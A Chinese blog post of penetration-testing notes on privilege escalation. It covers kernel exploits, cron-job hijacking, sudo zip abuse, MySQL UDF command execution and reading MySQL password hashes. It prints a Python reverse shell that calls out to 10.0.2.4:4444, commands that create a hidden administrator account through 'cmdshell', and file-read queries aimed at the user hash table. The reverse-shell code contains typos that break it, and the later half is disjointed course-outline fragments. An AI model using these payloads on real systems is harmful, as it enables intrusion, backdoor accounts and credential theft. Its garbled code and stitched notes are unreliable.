当前位置:网站首页>滲透測試-提權專題
滲透測試-提權專題
2022-06-25 05:06:00 【amingMM】
提權介紹
往往 拿下服務器的web服務只是具有低權限用戶(www-data)
對於內網滲透,我們需要提權到root
提昇權限是非常關鍵的一步,
攻擊者往往可以通過利用內核漏洞/權限配置不當/root權限運行的服務等方式尋找突破點,
來達到提昇權限的目的。
linux系統的提權過程不止涉及到了漏洞,也涉及了很多系統配置。
提權前提:
- 已經拿到低權shell
- 被入侵的機器上面有nc,python,perl等非常常見的工具
- 有權限上傳文件和下載文件
Linux提權
內核漏洞提權-首選考慮
先查看是否可以使用內核漏洞進行提權。先對系統做個了解
#查看發行版本
cat /etc/issue
cat /etc/*-release
# 查看內核版本
uname -a
# 查看系統發行版本 Ubuntu
lsb_release -a
尋找內核溢出代碼使用searchsploit
gcc xxx.c -o exploit
chmod +x exploit
./exploit
內核溢出的提權,不過一般用不上。
明文root密碼提權
大多linux系統的密碼都和/etc/passwd、/etc/shadow這兩個配置文件相關的;
passwd裏面儲存了用戶,
shadow裏面是密碼的hash;
且passwd是全用戶可讀,root可寫。
shadow是僅root可以進行讀寫的。
破解linux用戶名和對應的密碼
使用John
這個工具來破解。
可以在root權限下查看密碼(前提是不知道root密碼)
計劃任務
系統內可能會有一些定時執行的任務,
一般這些任務由crontab來管理,
具有所屬用戶的權限。
非root權限的用戶是不可以列出root用戶的計劃任務的。
但是/etc/內系統的計劃任務可以被列出
默認這些程序以root權限執行,
如果剛好遇到一個把其中脚本配置成可以任意用戶可寫的,
這個時候就可以修改脚本等回連rootshell;
如果定時執行的文件時python脚本,可以使用下面的脚本來替換之前的脚本。
#!/usr/bin/python
import os,subprocess,socket
s=socket.socekt(sicket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.2.4","4444"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
查看/etc/crontab
有無可寫權限的文件
密碼複用
linux要求用戶必須從終端設備(tty)中輸入密碼,而不是標准輸入,
也就是說sudo在輸入密碼的時候本質是讀取鍵盤,而不是bash裏面的字符。
因此要輸入密碼,還需要一個終端設備。python有這種功能的,就是模擬化終端,輸入
python -c "import pty;pty.spawn('/bin/bash')"
看到是已經啟動了虛擬終端
ssh 登錄
ssh [email protected]
利用zip進行提權
sudo -l查看了當前可以使用root提權的命令信息。
Matching Defaults entries for zico on this host:
env_reset, exempt_group=admin,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User zico may run the following commands on this host:
(root) NOPASSWD: /bin/tar
(root) NOPASSWD: /usr/bin/zip
可以使用zip進行提權
touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"
05 提權與內網滲透
第三章 數據庫提權
第一節 SQL Server數據庫漏洞利用與提權
dbo 權限 備份數據庫 不可以 執行命令
SESHELL
mdb 注册錶 操作 執行命令
第二節 MySQL數據庫漏洞與提權
mysql root權限下 提權
安裝問題
默認在 系統管理員 下 安裝
以服務 啟動
備份數據庫 就 會有 文件
mof 定時 都可以 提權
遠程 執行命令 反彈 shell 回來 *(攻擊機 監聽端口 )
UDF 提權執行系統命令
● Linux UDF
通過數據庫來實現獲取目標的管理員的shell,來達到從低權限提權到高權限
sleep(),sum(),ascii()
用戶自定義函數
自己寫方便自己函數,它有3種返回值,
分別是STRING字符型,INTEGER整型,REAL 實數型
-掌握mysql數據庫的賬戶,從擁有對mysql的insert和delete權限,以創建和拋弃函數。擁有可以將udf.dll寫入相應目錄的權限
版本大於5.1的udf.dll放到mysql安裝目錄的libplugin文件夾才能創建自定義函數。目錄默認是不存在的需要自己創建,在安裝目錄下創建libplugin文件夾,然後將udf.dll導出到這個目錄。
- windows 提權前提
mysql版本大於5.1,
udf.dll文件必須放置在mysql安裝目錄的lib plugin文件夾下
mysql版本小於5.1,
udf.dll文件在 windows server 2003下放置於c:windows system32目錄,
在windows server - - 2000下放置在c:winnt system32目錄。
首先、查看一下MySQL是32比特的還是64比特的,查看這個有幾種方式:
mysql -V
mysql --version
進入MySQL數據庫中,執行:
show variables like '%datadir%';
-- C:\ProgramData\MySQL\MySQL Server 5.7\Data\
show variables like '%version_%';
create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user iis_user [email protected]#abcABC /add');
select cmdshell('net localgroup administrators iis_user /add');
select cmdshell('regedit /s d:web3389.reg');
drop function cmdshell;
select cmdshell('netstat -an');
要求 root 權限
mof 是 win系統自帶 漏洞
Mysql的用戶在沒有File權限情况-低權限拿到root密碼
Mysql漏洞利用(越權, 從低權限拿到root密碼)
無法通過Load_file讀文件
或者通過into dumpfile 或者into outfile去寫文件
通過load data infile可以讀取本地文件到數據庫,這樣子我們就可以在低權限下通過這個bug去讀取服務器上的文件
讀取mysql的數據庫文件,mysql庫的user錶裏存放著所有用戶的hash
LOAD DATA LOCAL INFILE 'C:/boot.ini' INTO TABLE test FIELDS TERMINATED BY '';
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user.MYD' INTO TABLE test2 fields terminated by '';
select * from test2;
用winhex打開一下user.myd文件
被00字符給截斷了,導致後面的東西都沒進數據庫。
下面就想辦法繞過這個限制。
經過幾次嘗試發現,在後面加上LINES TERMINATED BY ‘’ 即可,這樣子就把截斷符號作為分隔符處理了,完整的語句
LOAD DATA LOCAL INFILE 'C:/wamp/bin/mysql/mysql5.6.12/data/mysql/user2.MYD' INTO TABLE test2 fields terminated by '' LINES TERMINATED BY '';
Windows Smb 重放 / 中繼 利用
CTF-高難度內核提權
windows EXP提權
EXP溢出提權(不可以使用技巧/無障礙提權)
exploit —>windows溢出利用
shell 連接
虛擬連接提權
- 中國菜刀
- 蟻劍
- 大馬shell 執行命令 dir
一句話木馬提權
處理下virualbox 與物理機聯通問題
創建環境
- 查看權限 whoami systeminfo (補丁)
- 提昇權限 net user xxx xxx /add net localgroup
- 查看端口 tasklist /svc netstat -ano
- 暫時將就 下吧 C盤文件
- 查看補丁
- 補丁程序 暫缺
- 為所欲為
- 無意間 發現了個 工具
mysql5.1------Linux提權
#1 簡單縱深打擊
通過資產掃描弱口令 FTP Mysql Redis ssh RPC
由於 root 權限 免了低高權限 UDP 提權
i春秋\05 提權與內網滲透\
第一章 初見提權
第一節 提權概述
基礎命令
查看用戶登錄情况 query user
髒牛漏洞
第三方軟件 提權 - pr提權
數據庫提權
sqlserver SA xp cmd shell
mysql udf 插件提權 確權MOF 替換文件 提權
dll文件 加載
ftp 輸入法 vnc 配置
輸入法 替換exe 重啟 自動加載
- webshell 是根據 中間件 安裝時 的權限 所依據的
第二節 基於密碼破解的提權
哈希獲取破解
局域網 arp 、 dns 劫持 嗅探
边栏推荐
- There is 404 in the laravel visit, except the home page is redirected; Index php
- How PHP gets the user's City
- Database low-end SQL query statement fragment
- olap分析引擎——Kylin4.0
- Install pytorch through pip to solve the problem that torch cannot be used in jupyter notebook (modulenotfoundererror:no module named 'Torch').
- 融合CDN,为客户打造极致服务体验!
- Codeforces Round #802 (Div. 2) C D
- ORA-00800: soft external error
- 2021-04-02
- Object creation and invocation code example
猜你喜欢
Prototypical Networks for Few-shot Learning
XSS (cross site script attack) summary (II)
Two hours to take you into the software testing industry (with a full set of software testing learning routes)
hr竟主动给这位测试小姐姐涨工资,她是怎么做到的?
buuctf(pwn)
My IC journey - the growth of senior chip design verification engineers - "Hu" said that IC engineers are perfect and advanced
great! Auto like, I use pyautogui!
OLAP analysis engine kylin4.0
In depth understanding of line height and vertical align
Detailed summary of float
随机推荐
Specific operations for uploading pictures in PHP
For in JS Of and for in
Prototypical Networks for Few-shot Learning
XML (VIII)
OOP stack class template (template +ds)
Creation and use of MySQL index
固態硬盤開盤數據恢複的方法
CopyPlugin Invalid Options options should be array ValidationError: CopyPlugin Invalid Options
buuctf web
buuctf(pwn)
Student achievement management system based on SSH
小白一键重装官网下载使用方法
olap分析引擎——Kylin4.0
There is 404 in the laravel visit, except the home page is redirected; Index php
Penetration test - directory traversal vulnerability
February 19 CTF exercise
本轮压力测试下,DeFi协议们表现如何?
parallel recovery slave next change & parallel recovery push change
File upload vulnerability (III)
Teach you to write non maintainable PHP code step by step